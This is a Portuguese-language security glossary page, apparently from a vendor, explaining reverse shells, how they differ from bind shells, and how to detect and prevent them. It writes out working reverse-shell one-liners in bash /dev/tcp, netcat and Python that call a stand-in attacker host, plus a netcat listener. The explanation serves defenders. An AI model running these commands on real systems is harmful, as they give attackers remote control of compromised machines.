Glossário Reverse Shell

Shell Reverso

TL;DR: Shell Reverso

Um shell reverso, também conhecido como shell de conexão de retorno, ocorre quando um sistema comprometido se conecta ao atacante e lhes dá uma sessão de linha de comando ao vivo.

Por que isso importa?

  • Shells reversos podem contornar firewalls já que a maioria dos firewalls bloqueia conexões de entrada, mas permite conexões de saída.
  • Os atacantes ganham controle real porque podem executar comandos como se estivessem logados diretamente.
  • Shells reversos são muito comuns pois são um passo padrão após um atacante explorar um sistema.

Imagine desta forma: em vez de o atacante tentar entrar, eles enganam o servidor para que entre em contato com eles.

O Que É um Shell Reverso?

Um shell reverso é um shell remoto onde o computador da vítima inicia a conexão com o computador do atacante.

Normalmente, seu computador inicia a conexão, como quando você visita um site. Com um shell reverso, isso é invertido. Depois que o atacante encontra uma maneira de executar código, o servidor se conecta de volta ao atacante.

Uma maneira fácil de lembrar:

  • Shell de ligação: Você tenta se conectar ao servidor. Se um firewall bloquear você, não poderá passar.
  • Shell reverso: O servidor se conecta a você. Como conexões de saída geralmente são permitidas, você pode responder e assumir o controle.

Por Que Shells Reversos Importam

As equipes de segurança geralmente se concentram em defesas como firewalls, balanceadores de carga e limitação de portas. Estas funcionam até que um atacante consiga executar código dentro do sistema.

Quando isso acontece, o shell reverso se torna a principal maneira do atacante de permanecer dentro.

Por que isso é perigoso:

  • O tráfego de saída é confiável.

    Firewalls frequentemente permitem tráfego de saída em portas como 80 ou 443 para atualizações e APIs. Shells reversos podem se esconder nesse tráfego permitido.

  • Os atacantes podem manter o acesso.

    Mesmo que a falha de segurança original seja corrigida, um shell ativo ainda pode permitir que atacantes controlem o sistema.

  • Isso permite movimento lateral.

    Com um shell, os atacantes podem explorar a rede interna, roubar senhas e mover-se para outros computadores. Uma vulnerabilidade pode rapidamente levar ao comprometimento de todo o ambiente.

Como Funciona um Shell Reverso

Um shell reverso tem duas partes principais: o ouvinte e o payload.

1. O Ouvinte (Lado do Atacante)

O atacante usa um programa que espera por conexões. Netcat é uma ferramenta comum para isso.

nc -lvnp 4444

Este comando instrui o computador do atacante a ouvir na porta 4444 e esperar por uma conexão.

2. O Payload (Lado da Vítima)

Após encontrar uma vulnerabilidade como Execução Remota de Código, o atacante executa um comando no servidor da vítima para abrir um shell e enviá-lo de volta.

bash -i >& /dev/tcp/attacker-ip/4444 0>&1

Este comando inicia um shell bash e envia toda a entrada e saída para o computador do atacante.

3. A Conexão

O servidor da vítima inicia uma conexão de saída. O firewall vê isso como normal e permite. O ouvinte do atacante aceita a conexão, dando ao atacante um shell ativo no servidor.

Neste estágio, o atacante tem controle interativo completo sobre o servidor.

Exemplos Comuns de Shell Reverso

Os atacantes e hackers éticos ajustam sua abordagem com base nas ferramentas disponíveis no sistema alvo.

Bash (Comum no Linux)

bash -i >& /dev/tcp/10.0.0.1/4444 0>&1

Netcat

Usado quando o Netcat está disponível na máquina alvo.

nc -e /bin/sh 10.0.0.1 4444

Python

Python é muito comum em servidores modernos.

python -c 'import socket,subprocess,os;
s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);
s.connect(("10.0.0.1",4444));
os.dup2(s.fileno(),0);
os.dup2(s.fileno(),1);
os.dup2(s.fileno(),2);
subprocess.call(["/bin/sh","-i"]);'

Shell Reverso vs Shell de Ligação

Conhecer a diferença entre shells reversos e shells de ligação ajuda na defesa de redes.

CaracterísticaShell de LigaçãoShell Reverso
Direção da conexãoAtacante para VítimaVítima para Atacante
Impacto no firewallFrequentemente bloqueadoFrequentemente permitido
Requisitos de redeAcesso direto necessárioFunciona através de NAT e firewalls
Caso de uso típicoRedes internasAtaques no mundo real

Quem Usa Shells Reversos?

  • Testadores de penetração usam shells reversos para provar que uma vulnerabilidade pode levar a um comprometimento total do sistema.
  • Equipes vermelhas usam shells reversos para testar quão bem o tráfego de saída é controlado.
  • Atores maliciosos usam shells reversos para implantar ransomware, roubar dados ou avançar ainda mais em uma rede.
  • Administradores de sistemas raramente usam shells reversos para acesso remoto. Eles geralmente preferem túneis SSH seguros.

Detecção e Prevenção

Parar shells reversos requer várias camadas de defesa.

  • Filtragem de tráfego de saída

    Servidores não devem ter acesso aberto à internet. Limite quais destinos e portas eles podem usar.

  • Monitoramento de comportamento

    Um servidor web iniciando um processo de shell, como /bin/bash ou cmd.exe, é altamente suspeito.

  • Reduza a superfície de ataque.

    Remova ferramentas não utilizadas como Netcat, compiladores e intérpretes extras dos sistemas de produção.

Termos Relacionados

  • Execução Remota de Código (RCE)
  • Shell de Vinculação

FAQ: Shell Reverso

Um shell reverso é ilegal?

Shells reversos são legais apenas se você os usar em sistemas que possui ou tem permissão clara para testar. Usá-los sem permissão é ilegal.

Por que firewalls permitem shells reversos?

Firewalls são construídos para bloquear ameaças de entrada e geralmente confiam no tráfego de saída. Shells reversos aproveitam-se disso.

Um antivírus pode detectar shells reversos?

Às vezes. Software antivírus que usa assinaturas pode encontrar programas de shell conhecidos, mas shells sem arquivos feitos com Bash ou Python são muito mais difíceis de detectar.

Qual é a diferença entre um shell reverso e um webshell?

Um webshell é usado através de um navegador e geralmente permanece no sistema, mas tem recursos limitados. Um shell reverso oferece uma sessão de linha de comando interativa ao vivo.

Próximos Passos

Pronto para proteger suas aplicações? Escolha seu caminho a seguir.

Junte-se a mais de 500 empresas que já estão protegendo suas aplicações com o Plexicus

SOC 2 Compliant
ISO 27001 Certified
Enterprise Ready